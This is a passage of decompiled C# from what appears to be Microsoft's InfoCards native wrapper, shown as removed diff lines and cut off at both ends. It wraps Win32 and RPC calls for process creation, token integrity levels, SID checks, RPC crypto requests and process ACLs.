- WindowsIdentity callerIdentity, - uint userProcessPid, - ref string fileName) - { - uint openDialogWrapper = 0; - IntPtr hglobal1 = IntPtr.Zero; - IntPtr hglobal2 = IntPtr.Zero; - try - { - hglobal1 = Marshal.StringToHGlobalUni(arguments); - hglobal2 = Marshal.StringToHGlobalUni(callerIdentity.Name); - \u0024ArrayType\u0024\u0024\u0024BY0BAE\u0040G arrayTypeBy0BaeG; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(short&) ref arrayTypeBy0BaeG = (short) 0; - // ISSUE: cast to a reference type - // ISSUE: initblk instruction - __memset((\u0024ArrayType\u0024\u0024\u0024BY0BAE\u0040G&) ((IntPtr) &arrayTypeBy0BaeG + 2), 0, 518); - IntPtr token = callerIdentity.Token; - openDialogWrapper = \u003CModule\u003E.CreateAndWaitForFileOpenDialog((ushort*) hglobal1.ToPointer(), token.ToPointer(), userProcessPid, (ushort*) hglobal2.ToPointer(), (ushort*) &arrayTypeBy0BaeG); - fileName = 0U != openDialogWrapper ? "" : new string((char*) &arrayTypeBy0BaeG); - } - finally - { - if (IntPtr.Zero != hglobal2) - { - Marshal.FreeHGlobal(hglobal2); - IntPtr zero = IntPtr.Zero; - } - if (IntPtr.Zero != hglobal1) - { - Marshal.FreeHGlobal(hglobal1); - IntPtr zero = IntPtr.Zero; - } - } - return openDialogWrapper; - } - - [return: MarshalAs(UnmanagedType.U1)] - public static unsafe bool DnsNameCompareWrapper(string dnsName1, string dnsName2) - { - IntPtr hglobal1 = IntPtr.Zero; - IntPtr hglobal2 = IntPtr.Zero; - int num = 0; - try - { - hglobal1 = Marshal.StringToHGlobalUni(dnsName1); - hglobal2 = Marshal.StringToHGlobalUni(dnsName2); - num = \u003CModule\u003E.DnsNameCompare_W((ushort*) hglobal1.ToPointer(), (ushort*) hglobal2.ToPointer()); - } - finally - { - if (IntPtr.Zero != hglobal1) - { - Marshal.FreeHGlobal(hglobal1); - IntPtr zero = IntPtr.Zero; - } - if (IntPtr.Zero != hglobal2) - { - Marshal.FreeHGlobal(hglobal2); - IntPtr zero = IntPtr.Zero; - } - } - return 0 != num; - } - - public static unsafe uint CreateProcessAsUserHelperWrapper( - string application, - string commandLine, - uint userProcessPid, - string desktop, - string userName, - ref int pid) - { - uint userHelperWrapper = 0; - IntPtr hglobal1 = IntPtr.Zero; - IntPtr hglobal2 = IntPtr.Zero; - IntPtr hglobal3 = IntPtr.Zero; - IntPtr hglobal4 = IntPtr.Zero; - void* voidPtr = (void*) 0; - try - { - hglobal1 = Marshal.StringToHGlobalUni(application); - hglobal2 = Marshal.StringToHGlobalUni(commandLine); - hglobal3 = Marshal.StringToHGlobalUni(desktop); - hglobal4 = Marshal.StringToHGlobalUni(userName); - uint num = 0; - userHelperWrapper = \u003CModule\u003E.CreateProcessAsUserHelper((ushort*) hglobal1.ToPointer(), (ushort*) hglobal2.ToPointer(), userProcessPid, (ushort*) hglobal3.ToPointer(), (ushort*) hglobal4.ToPointer(), &voidPtr, &num); - pid = (int) num; - } - finally - { - if (IntPtr.Zero != hglobal1) - { - Marshal.FreeHGlobal(hglobal1); - IntPtr zero = IntPtr.Zero; - } - if (IntPtr.Zero != hglobal2) - { - Marshal.FreeHGlobal(hglobal2); - IntPtr zero = IntPtr.Zero; - } - if (IntPtr.Zero != hglobal3) - { - Marshal.FreeHGlobal(hglobal3); - IntPtr zero = IntPtr.Zero; - } - if (IntPtr.Zero != hglobal4) - { - Marshal.FreeHGlobal(hglobal4); - IntPtr zero = IntPtr.Zero; - } - if (IntPtr.Zero != (IntPtr) voidPtr) - \u003CModule\u003E.CloseHandle(voidPtr); - } - return userHelperWrapper; - } - - public static unsafe string GetLocalDataPath(WindowsIdentity identity) - { - \u0024ArrayType\u0024\u0024\u0024BY0BAE\u0040G arrayTypeBy0BaeG; - // ISSUE: initblk instruction - __memset(ref arrayTypeBy0BaeG, 0, 520); - int folderPathW = \u003CModule\u003E.SHGetFolderPathW((HWND__*) 0, 28, identity.Token.ToPointer(), 0U, (ushort*) &arrayTypeBy0BaeG); - if (folderPathW < 0) - throw new Win32Exception(folderPathW); - return new string((char*) &arrayTypeBy0BaeG); - } - - public static unsafe WindowsIdentity CreateServiceExecutionIdentity( - Process callingProcess) - { - WindowsIdentity identity = (WindowsIdentity) null; - void* voidPtr = (void*) 0; - RuntimeHelpers.PrepareConstrainedRegions(); - try - { - } - finally - { - if (\u003CModule\u003E.OpenProcessToken(callingProcess.Handle.ToPointer(), 14U, &voidPtr) == 0) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - try - { - identity = new WindowsIdentity(new IntPtr(voidPtr)); - if (NativeMcppMethods.IsLowIntegrityIdentity(identity)) - identity = NativeMcppMethods.CreateMediumIntegrityIdentity(identity); - } - finally - { - \u003CModule\u003E.CloseHandle(voidPtr); - } - } - return identity; - } - - [return: MarshalAs(UnmanagedType.U1)] - public static unsafe bool IsTokenValid(Process callingProcess) - { - void* voidPtr = (void*) 0; - if (\u003CModule\u003E.OpenProcessToken(callingProcess.Handle.ToPointer(), 14U, &voidPtr) == 0) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - try - { - _TOKEN_STATISTICS tokenStatistics; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ref tokenStatistics = 0; - // ISSUE: cast to a reference type - // ISSUE: initblk instruction - __memset((_TOKEN_STATISTICS&) ((IntPtr) &tokenStatistics + 4), 0, 52); - uint num1 = 0; - if (\u003CModule\u003E.GetTokenInformation(voidPtr, (_TOKEN_INFORMATION_CLASS) 10, (void*) &tokenStatistics, 56U, &num1) == 0) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - _SECURITY_LOGON_SESSION_DATA* logonSessionDataPtr = (_SECURITY_LOGON_SESSION_DATA*) 0; - if (0 != \u003CModule\u003E.LsaGetLogonSessionData((_LUID*) ((IntPtr) &tokenStatistics + 8), &logonSessionDataPtr)) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - uint num2 = (uint) *(int*) ((IntPtr) logonSessionDataPtr + 36); - \u003CModule\u003E.LsaFreeReturnBuffer((void*) logonSessionDataPtr); - return 9U != num2; - } - finally - { - \u003CModule\u003E.CloseHandle(voidPtr); - } - } - - public static unsafe uint CreateProcessAsTrustedUserWrapper( - string application, - string commandLine, - uint userProcessPid, - string pDesktop, - string pUserName, - uint userSessionId, - ref IntPtr trustedUserToken, - ref IntPtr processHandle, - ref int pid, - IntPtr jobHandle, - ref string trustedUserSid, - [MarshalAs(UnmanagedType.U1)] bool fElevateToken) - { - uint trustedUserWrapper = 0; - IntPtr hglobal1 = IntPtr.Zero; - IntPtr hglobal2 = IntPtr.Zero; - IntPtr hglobal3 = IntPtr.Zero; - IntPtr hglobal4 = IntPtr.Zero; - IntPtr hglobal5 = IntPtr.Zero; - void* voidPtr1 = (void*) 0; - void* voidPtr2 = (void*) 0; - try - { - hglobal1 = Marshal.StringToHGlobalUni(application); - hglobal2 = Marshal.StringToHGlobalUni(commandLine); - hglobal3 = Marshal.StringToHGlobalUni(pDesktop); - hglobal4 = Marshal.StringToHGlobalUni(pUserName); - uint num1 = 0; - void* voidPtr3 = (void*) 0; - void* hCurrentToken = (void*) 0; - void* voidPtr4 = (void*) 0; - if (IntPtr.Zero != trustedUserToken) - hCurrentToken = trustedUserToken.ToPointer(); - if (IntPtr.Zero != jobHandle) - voidPtr4 = jobHandle.ToPointer(); - if (!string.IsNullOrEmpty(trustedUserSid)) - { - hglobal5 = Marshal.StringToHGlobalUni(trustedUserSid); - if (0 == \u003CModule\u003E.ConvertStringSidToSidW((ushort*) hglobal5.ToPointer(), &voidPtr1)) - trustedUserWrapper = \u003CModule\u003E.GetLastError(); - } - if (fElevateToken) - { - voidPtr2 = NativeMcppMethods.CreateHighIntegrityToken(hCurrentToken); - \u003CModule\u003E.AssertInternal((IntPtr) voidPtr2 != IntPtr.Zero, (ushort*) &\u003CModule\u003E.\u003F\u003F_C\u0040_1BO\u0040IGNPGJKB\u0040\u003F\u0024AAh\u003F\u0024AAE\u003F\u0024AAl\u003F\u0024AAe\u003F\u0024AAv\u003F\u0024AAa\u003F\u0024AAt\u003F\u0024AAe\u003F\u0024AAd\u003F\u0024AAT\u003F\u0024AAo\u003F\u0024AAk\u003F\u0024AAe\u003F\u0024AAn\u003F\u0024AA\u003F\u0024AA\u0040, (sbyte*) &\u003CModule\u003E.\u003F\u003F_C\u0040_0CE\u0040EGKBOGOO\u0040Microsoft\u003F2InfoCards\u003F2mcppwrapper\u003F4\u0040, 722, false); - } - if (0U == trustedUserWrapper) - { - void** voidPtr5 = (IntPtr) voidPtr2 == IntPtr.Zero ? &hCurrentToken : &voidPtr2; - trustedUserWrapper = \u003CModule\u003E.CreateProcessAsTrustedUser((ushort*) hglobal1.ToPointer(), (ushort*) hglobal2.ToPointer(), userProcessPid, (ushort*) hglobal3.ToPointer(), (ushort*) hglobal4.ToPointer(), userSessionId, voidPtr5, &voidPtr3, &num1, voidPtr4, &voidPtr1); - if (0U == trustedUserWrapper) - { - IntPtr num2 = new IntPtr(voidPtr3); - processHandle = num2; - IntPtr num3 = new IntPtr(hCurrentToken); - trustedUserToken = num3; - pid = (int) num1; - } - } - } - finally - { - if (IntPtr.Zero != hglobal1) - { - Marshal.FreeHGlobal(hglobal1); - IntPtr zero = IntPtr.Zero; - } - if (IntPtr.Zero != hglobal2) - { - Marshal.FreeHGlobal(hglobal2); - IntPtr zero = IntPtr.Zero; - } - if (IntPtr.Zero != hglobal3) - { - Marshal.FreeHGlobal(hglobal3); - IntPtr zero = IntPtr.Zero; - } - if (IntPtr.Zero != hglobal4) - { - Marshal.FreeHGlobal(hglobal4); - IntPtr zero = IntPtr.Zero; - } - if (IntPtr.Zero != hglobal5) - { - Marshal.FreeHGlobal(hglobal5); - IntPtr zero = IntPtr.Zero; - } - if (IntPtr.Zero != (IntPtr) voidPtr1) - { - ushort* numPtr = (ushort*) 0; - if (string.IsNullOrEmpty(trustedUserSid) && \u003CModule\u003E.ConvertSidToStringSidW(voidPtr1, &numPtr) != 0) - { - IntPtr ptr = new IntPtr((void*) numPtr); - trustedUserSid = Marshal.PtrToStringUni(ptr); - } - \u003CModule\u003E.LocalFree(voidPtr1); - } - if (IntPtr.Zero != (IntPtr) voidPtr2) - \u003CModule\u003E.CloseHandle(voidPtr2); - } - return trustedUserWrapper; - } - - public static unsafe uint CreateJobObjectWithSD(ref IntPtr jobHandle, string trustedUserSid) - { - uint jobObjectWithSd = 0; - IntPtr hglobal = IntPtr.Zero; - void* voidPtr1 = (void*) 0; - void* voidPtr2 = (void*) 0; - try - { - if (!string.IsNullOrEmpty(trustedUserSid)) - { - hglobal = Marshal.StringToHGlobalUni(trustedUserSid); - if (0 == \u003CModule\u003E.ConvertStringSidToSidW((ushort*) hglobal.ToPointer(), &voidPtr1)) - { - jobObjectWithSd = \u003CModule\u003E.GetLastError(); - if (0U != jobObjectWithSd) - goto label_11; - } - } - jobObjectWithSd = \u003CModule\u003E.CreateJobObjectHelper(&voidPtr2, voidPtr1); - if (0U == jobObjectWithSd) - { - IntPtr num = new IntPtr(voidPtr2); - jobHandle = num; - } - } - finally - { - if (IntPtr.Zero != hglobal) - { - Marshal.FreeHGlobal(hglobal); - IntPtr zero = IntPtr.Zero; - } - if (IntPtr.Zero != (IntPtr) voidPtr1) - \u003CModule\u003E.LocalFree(voidPtr1); - } -label_11: - return jobObjectWithSd; - } - - public static unsafe IntPtr RpcCryptoOpen(string portName) - { - string s = (string) null; - IntPtr hglobal1 = IntPtr.Zero; - IntPtr hglobal2 = IntPtr.Zero; - void* voidPtr = (void*) 0; - ushort* numPtr = (ushort*) 0; - try - { - hglobal1 = Marshal.StringToHGlobalUni(portName); - int error1 = \u003CModule\u003E.RpcStringBindingComposeW((ushort*) 0, \u003CModule\u003E.g_lrpcProtocolSequence, (ushort*) 0, (ushort*) hglobal1.ToPointer(), (ushort*) 0, &numPtr); - if (0 != error1) - throw new Win32Exception(error1); - int error2 = \u003CModule\u003E.RpcBindingFromStringBindingW(numPtr, &voidPtr); - if (0 != error2) - throw new Win32Exception(error2); - hglobal2 = Marshal.StringToHGlobalUni(s); - int error3 = \u003CModule\u003E.RpcBindingSetAuthInfoW(voidPtr, (ushort*) 0, 6U, 10U, (void*) 0, 0U); - if (0 != error3) - throw new Win32Exception(error3); - return new IntPtr(voidPtr); - } - catch (SEHException ex) - { - throw new Win32Exception(-2147467259); - } - finally - { - if (IntPtr.Zero != (IntPtr) numPtr) - \u003CModule\u003E.RpcStringFreeW(&numPtr); - if (IntPtr.Zero != hglobal1) - { - Marshal.FreeHGlobal(hglobal1); - IntPtr zero = IntPtr.Zero; - } - if (IntPtr.Zero != hglobal2) - Marshal.FreeHGlobal(hglobal2); - } - } - - public static unsafe void RpcCryptoClose(IntPtr hIdl, string contextKey) - { - IntPtr hglobal = IntPtr.Zero; - try - { - hglobal = Marshal.StringToHGlobalUni(contextKey); - \u003CModule\u003E.RpcCryptoCloseContext(hIdl.ToPointer(), (ushort*) hglobal.ToPointer()); - \u003CModule\u003E.RpcBindingFree(&hIdl.ToPointer()); - } - catch (SEHException ex) - { - throw new Win32Exception(-2147467259); - } - finally - { - if (IntPtr.Zero != hglobal) - { - Marshal.FreeHGlobal(hglobal); - IntPtr zero = IntPtr.Zero; - } - } - } - - public static unsafe byte[] RpcCryptoDispatchRequest( - IntPtr hIdl, - string contextKey, - string requestName, - byte[] buffer, - int index, - int length) - { - IntPtr hglobal1 = IntPtr.Zero; - IntPtr hglobal2 = IntPtr.Zero; - IntPtr hglobal3 = IntPtr.Zero; - _RPC_REQUEST rpcRequest; - // ISSUE: initblk instruction - __memset(ref rpcRequest, 0, 12); - _RPC_RESPONSE* rpcResponsePtr1 = (_RPC_RESPONSE*) 0; - try - { - hglobal2 = Marshal.StringToHGlobalUni(contextKey); - hglobal1 = Marshal.StringToHGlobalUni(requestName); - IntPtr destination1 = Marshal.AllocHGlobal(length); - hglobal3 = destination1; - Marshal.Copy(buffer, 0, destination1, length); - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ((IntPtr) &rpcRequest + 8) = (int) hglobal3.ToPointer(); - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ((IntPtr) &rpcRequest + 4) = length; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ref rpcRequest = (int) hglobal1.ToPointer(); - int error = \u003CModule\u003E.RpcCryptoDispatchRequest(hIdl.ToPointer(), (ushort*) hglobal2.ToPointer(), &rpcRequest, &rpcResponsePtr1); - if (error < 0) - throw new Win32Exception(error); - if (IntPtr.Zero == (IntPtr) rpcResponsePtr1) - throw new Win32Exception(87); - int length1 = *(int*) rpcResponsePtr1; - byte[] destination2 = new byte[length1]; - _RPC_RESPONSE* rpcResponsePtr2 = (_RPC_RESPONSE*) ((IntPtr) rpcResponsePtr1 + 4); - if (*(int*) rpcResponsePtr2 != 0) - Marshal.Copy(new IntPtr((void*) *(int*) rpcResponsePtr2), destination2, 0, *(int*) rpcResponsePtr1); - else if (length1 > 0) - throw new Win32Exception(87); - return destination2; - } - catch (SEHException ex) - { - throw new Win32Exception(-2147467259); - } - finally - { - if (IntPtr.Zero != hglobal2) - { - Marshal.FreeHGlobal(hglobal2); - IntPtr zero = IntPtr.Zero; - } - if (IntPtr.Zero != hglobal1) - { - Marshal.FreeHGlobal(hglobal1); - IntPtr zero = IntPtr.Zero; - } - if (IntPtr.Zero != hglobal3) - { - Marshal.FreeHGlobal(hglobal3); - IntPtr zero = IntPtr.Zero; - } - if (IntPtr.Zero != (IntPtr) rpcResponsePtr1) - { - _RPC_RESPONSE* rpcResponsePtr3 = (_RPC_RESPONSE*) ((IntPtr) rpcResponsePtr1 + 4); - if (*(int*) rpcResponsePtr3 != 0) - \u003CModule\u003E.MIDL_user_free((void*) *(int*) rpcResponsePtr3); - \u003CModule\u003E.MIDL_user_free((void*) rpcResponsePtr1); - } - } - } - - public static unsafe int CryptAlgIdFromOid(string strOid) - { - if (string.IsNullOrEmpty(strOid)) - return 32772; - string s = CryptoConfig.MapNameToOID(strOid); - if (string.IsNullOrEmpty(s)) - s = strOid; - IntPtr hglobalAnsi = Marshal.StringToHGlobalAnsi(s); - try - { - _CRYPT_OID_INFO* oidInfo = \u003CModule\u003E.CryptFindOIDInfo(1U, hglobalAnsi.ToPointer(), 0U); - if (IntPtr.Zero == (IntPtr) oidInfo) - throw new Win32Exception(-2147467259); - return *(int*) ((IntPtr) oidInfo + 16); - } - finally - { - if (IntPtr.Zero != hglobalAnsi) - Marshal.FreeHGlobal(hglobalAnsi); - } - } - - [return: MarshalAs(UnmanagedType.U1)] - public static unsafe bool GetHighAssuranceFlags(IntPtr pcertchaincontext, ref int haFlags) - { - uint num = 0; - haFlags = 0; - byte highAssuranceFlags; - if (!(IntPtr.Zero == pcertchaincontext) && \u003CModule\u003E.SetHighAssuranceFlags((_CERT_CHAIN_CONTEXT*) pcertchaincontext.ToPointer(), &num) != 0) - { - haFlags = (int) num; - highAssuranceFlags = (byte) 1; - } - else - highAssuranceFlags = (byte) 0; - return (bool) highAssuranceFlags; - } - - public static unsafe int VerifyTrust(string fileName) - { - IntPtr hglobal = IntPtr.Zero; - try - { - hglobal = Marshal.StringToHGlobalUni(fileName); - return (int) \u003CModule\u003E.VerifyTrust((ushort*) hglobal.ToPointer()); - } - finally - { - if (IntPtr.Zero != hglobal) - { - Marshal.FreeHGlobal(hglobal); - IntPtr zero = IntPtr.Zero; - } - } - } - - public static unsafe void CheckSIDAgainstCurrentRpcUser(string strSid) - { - IntPtr hglobal = IntPtr.Zero; - void* voidPtr = (void*) 0; - int num1 = 0; - int num2 = 0; - try - { - hglobal = Marshal.StringToHGlobalUni(strSid); - if (\u003CModule\u003E.ConvertStringSidToSidW((ushort*) hglobal.ToPointer(), &voidPtr) == 0) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - if (0 != \u003CModule\u003E.RpcImpersonateClient((void*) 0)) - throw new SecurityException(); - num2 = 1; - if (\u003CModule\u003E.CheckTokenMembership((void*) 0, voidPtr, &num1) == 0) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - if (num1 == 0) - throw new SecurityException(); - } - finally - { - if (num2 != 0 && \u003CModule\u003E.RevertToSelf() == 0) - throw new InvalidOperationException(); - if (IntPtr.Zero != hglobal) - { - Marshal.FreeHGlobal(hglobal); - IntPtr zero = IntPtr.Zero; - } - if (IntPtr.Zero != (IntPtr) voidPtr) - \u003CModule\u003E.LocalFree(voidPtr); - } - } - - [return: MarshalAs(UnmanagedType.U1)] - public static unsafe bool IsOsVistaOrGreater() - { - _OSVERSIONINFOW osversioninfow; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ref osversioninfow = 276; - // ISSUE: cast to a reference type - // ISSUE: initblk instruction - __memset((_OSVERSIONINFOW&) ((IntPtr) &osversioninfow + 4), 0, 272); - if (\u003CModule\u003E.GetVersionExW(&osversioninfow) == 0) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - return (uint) ^(int&) ((IntPtr) &osversioninfow + 4) >= 6U; - } - - [return: MarshalAs(UnmanagedType.U1)] - public static unsafe bool IsLowIntegrityIdentity(WindowsIdentity identity) - { - bool flag = false; - _OSVERSIONINFOW osversioninfow; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ref osversioninfow = 276; - // ISSUE: cast to a reference type - // ISSUE: initblk instruction - __memset((_OSVERSIONINFOW&) ((IntPtr) &osversioninfow + 4), 0, 272); - if (\u003CModule\u003E.GetVersionExW(&osversioninfow) == 0) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - if (((uint) ^(int&) ((IntPtr) &osversioninfow + 4) >= 6U ? 1 : 0) != 0) - { - _TOKEN_MANDATORY_LABEL* tokenMandatoryLabelPtr = (_TOKEN_MANDATORY_LABEL*) 0; - void* voidPtr = (void*) 0; - uint num1 = 0; - uint num2 = 0; - RuntimeHelpers.PrepareConstrainedRegions(); - try - { - } - finally - { - try - { - if (\u003CModule\u003E.GetTokenInformation(identity.Token.ToPointer(), (_TOKEN_INFORMATION_CLASS) 25, (void*) 0, 0U, &num1) == 0) - { - uint lastError = \u003CModule\u003E.GetLastError(); - if (122U != lastError) - throw new Win32Exception((int) lastError); - tokenMandatoryLabelPtr = (_TOKEN_MANDATORY_LABEL*) \u003CModule\u003E.LocalAlloc(64U, num1); - if ((IntPtr) tokenMandatoryLabelPtr == IntPtr.Zero) - throw new OutOfMemoryException(); - } - if (\u003CModule\u003E.GetTokenInformation(identity.Token.ToPointer(), (_TOKEN_INFORMATION_CLASS) 25, (void*) tokenMandatoryLabelPtr, num1, &num1) == 0) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - if (\u003CModule\u003E.CreateWellKnownSid((WELL_KNOWN_SID_TYPE) 66, (void*) 0, (void*) 0, &num2) == 0) - { - uint lastError = \u003CModule\u003E.GetLastError(); - if (122U != lastError) - throw new Win32Exception((int) lastError); - voidPtr = \u003CModule\u003E.LocalAlloc(64U, num2); - if ((IntPtr) voidPtr == IntPtr.Zero) - throw new OutOfMemoryException(); - } - if (\u003CModule\u003E.CreateWellKnownSid((WELL_KNOWN_SID_TYPE) 66, (void*) 0, voidPtr, &num2) == 0) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - if (\u003CModule\u003E.EqualSid(voidPtr, (void*) *(int*) tokenMandatoryLabelPtr) != 0) - flag = true; - } - finally - { - if ((IntPtr) voidPtr != IntPtr.Zero) - \u003CModule\u003E.LocalFree(voidPtr); - if ((IntPtr) tokenMandatoryLabelPtr != IntPtr.Zero) - \u003CModule\u003E.LocalFree((void*) tokenMandatoryLabelPtr); - } - } - } - return flag; - } - - public static unsafe WindowsIdentity CreateMediumIntegrityIdentity( - WindowsIdentity identity) - { - WindowsIdentity integrityIdentity = (WindowsIdentity) null; - _OSVERSIONINFOW osversioninfow; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ref osversioninfow = 276; - // ISSUE: cast to a reference type - // ISSUE: initblk instruction - __memset((_OSVERSIONINFOW&) ((IntPtr) &osversioninfow + 4), 0, 272); - if (\u003CModule\u003E.GetVersionExW(&osversioninfow) == 0) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - if (((uint) ^(int&) ((IntPtr) &osversioninfow + 4) >= 6U ? 1 : 0) == 0) - throw new InvalidOperationException(); - void* voidPtr = (void*) 0; - _TOKEN_MANDATORY_LABEL* tokenMandatoryLabelPtr1 = (_TOKEN_MANDATORY_LABEL*) 0; - uint num1 = 0; - RuntimeHelpers.PrepareConstrainedRegions(); - try - { - } - finally - { - try - { - if (\u003CModule\u003E.DuplicateTokenEx(identity.Token.ToPointer(), 142U, (_SECURITY_ATTRIBUTES*) 0, (_SECURITY_IMPERSONATION_LEVEL) 2, (_TOKEN_TYPE) 2, &voidPtr) == 0) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - if (\u003CModule\u003E.CreateWellKnownSid((WELL_KNOWN_SID_TYPE) 67, (void*) 0, (void*) 0, &num1) == 0) - { - uint lastError = \u003CModule\u003E.GetLastError(); - if (122U != lastError) - throw new Win32Exception((int) lastError); - } - uint num2 = num1 + 8U; - tokenMandatoryLabelPtr1 = (_TOKEN_MANDATORY_LABEL*) \u003CModule\u003E.LocalAlloc(64U, num2); - if ((IntPtr) tokenMandatoryLabelPtr1 == IntPtr.Zero) - throw new OutOfMemoryException(); - _TOKEN_MANDATORY_LABEL* tokenMandatoryLabelPtr2 = (_TOKEN_MANDATORY_LABEL*) ((IntPtr) tokenMandatoryLabelPtr1 + 8); - *(int*) tokenMandatoryLabelPtr1 = (int) tokenMandatoryLabelPtr2; - *(int*) ((IntPtr) tokenMandatoryLabelPtr1 + 4) = 96; - if (\u003CModule\u003E.CreateWellKnownSid((WELL_KNOWN_SID_TYPE) 67, (void*) 0, (void*) tokenMandatoryLabelPtr2, &num1) == 0) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - if (\u003CModule\u003E.SetTokenInformation(voidPtr, (_TOKEN_INFORMATION_CLASS) 25, (void*) tokenMandatoryLabelPtr1, num2) == 0) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - integrityIdentity = new WindowsIdentity(new IntPtr(voidPtr)); - } - finally - { - if ((IntPtr) voidPtr != IntPtr.Zero) - \u003CModule\u003E.CloseHandle(voidPtr); - if ((IntPtr) tokenMandatoryLabelPtr1 != IntPtr.Zero) - \u003CModule\u003E.LocalFree((void*) tokenMandatoryLabelPtr1); - } - } - return integrityIdentity; - } - - public static unsafe void* CreateHighIntegrityToken(void* hCurrentToken) - { - _OSVERSIONINFOW osversioninfow; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ref osversioninfow = 276; - // ISSUE: cast to a reference type - // ISSUE: initblk instruction - __memset((_OSVERSIONINFOW&) ((IntPtr) &osversioninfow + 4), 0, 272); - if (\u003CModule\u003E.GetVersionExW(&osversioninfow) == 0) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - if (((uint) ^(int&) ((IntPtr) &osversioninfow + 4) >= 6U ? 1 : 0) == 0) - throw new InvalidOperationException(); - void* highIntegrityToken = (void*) 0; - _TOKEN_MANDATORY_LABEL* tokenMandatoryLabelPtr1 = (_TOKEN_MANDATORY_LABEL*) 0; - uint num1 = 0; - RuntimeHelpers.PrepareConstrainedRegions(); - try - { - } - finally - { - try - { - if (\u003CModule\u003E.DuplicateTokenEx(hCurrentToken, 139U, (_SECURITY_ATTRIBUTES*) 0, (_SECURITY_IMPERSONATION_LEVEL) 2, (_TOKEN_TYPE) 1, &highIntegrityToken) == 0) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - if (\u003CModule\u003E.CreateWellKnownSid((WELL_KNOWN_SID_TYPE) 68, (void*) 0, (void*) 0, &num1) == 0) - { - uint lastError = \u003CModule\u003E.GetLastError(); - if (122U != lastError) - throw new Win32Exception((int) lastError); - } - uint num2 = num1 + 8U; - tokenMandatoryLabelPtr1 = (_TOKEN_MANDATORY_LABEL*) \u003CModule\u003E.LocalAlloc(64U, num2); - if ((IntPtr) tokenMandatoryLabelPtr1 == IntPtr.Zero) - throw new OutOfMemoryException(); - _TOKEN_MANDATORY_LABEL* tokenMandatoryLabelPtr2 = (_TOKEN_MANDATORY_LABEL*) ((IntPtr) tokenMandatoryLabelPtr1 + 8); - *(int*) tokenMandatoryLabelPtr1 = (int) tokenMandatoryLabelPtr2; - *(int*) ((IntPtr) tokenMandatoryLabelPtr1 + 4) = 96; - if (\u003CModule\u003E.CreateWellKnownSid((WELL_KNOWN_SID_TYPE) 68, (void*) 0, (void*) tokenMandatoryLabelPtr2, &num1) == 0) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - if (\u003CModule\u003E.SetTokenInformation(highIntegrityToken, (_TOKEN_INFORMATION_CLASS) 25, (void*) tokenMandatoryLabelPtr1, num2) == 0) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - } - finally - { - if ((IntPtr) tokenMandatoryLabelPtr1 != IntPtr.Zero) - \u003CModule\u003E.LocalFree((void*) tokenMandatoryLabelPtr1); - } - } - return highIntegrityToken; - } - - public static unsafe void AdjustServiceProcessSecurity() - { - void* voidPtr = (void*) 0; - _ACL* aclPtr1 = (_ACL*) 0; - _ACL* aclPtr2 = (_ACL*) 0; - uint num = 68; - _EXPLICIT_ACCESS_W explicitAccessW; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ref explicitAccessW = 0; - // ISSUE: cast to a reference type - // ISSUE: initblk instruction - __memset((_EXPLICIT_ACCESS_W&) ((IntPtr) &explicitAccessW + 4), 0, 28); - try - { - uint securityInfo = \u003CModule\u003E.GetSecurityInfo(\u003CModule\u003E.GetCurrentProcess(), (_SE_OBJECT_TYPE) 6, 4U, (void**) 0, (void**) 0, &aclPtr1, (_ACL**) 0, &voidPtr); - if (0U != securityInfo) - throw new Win32Exception((int) securityInfo); - \u0024ArrayType\u0024\u0024\u0024BY0BB\u0040K arrayTypeBy0BbK; - if (\u003CModule\u003E.CreateWellKnownSid((WELL_KNOWN_SID_TYPE) 11, (void*) 0, (void*) &arrayTypeBy0BbK, &num) == 0) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ref explicitAccessW = 1048576; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ((IntPtr) &explicitAccessW + 4) = 1; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ((IntPtr) &explicitAccessW + 20) = 0; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ((IntPtr) &explicitAccessW + 24) = 5; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ((IntPtr) &explicitAccessW + 28) = (int) &arrayTypeBy0BbK; - uint error1 = \u003CModule\u003E.SetEntriesInAclW(1U, &explicitAccessW, aclPtr1, &aclPtr2); - if (0U != error1) - throw new Win32Exception((int) error1); - uint error2 = \u003CModule\u003E.SetSecurityInfo(\u003CModule\u003E.GetCurrentProcess(), (_SE_OBJECT_TYPE) 6, 4U, (void*) 0, (void*) 0, aclPtr2, (_ACL*) 0); - if (0U != error2) - throw new Win32Exception((int) error2); - } - finally - { - if (IntPtr.Zero != 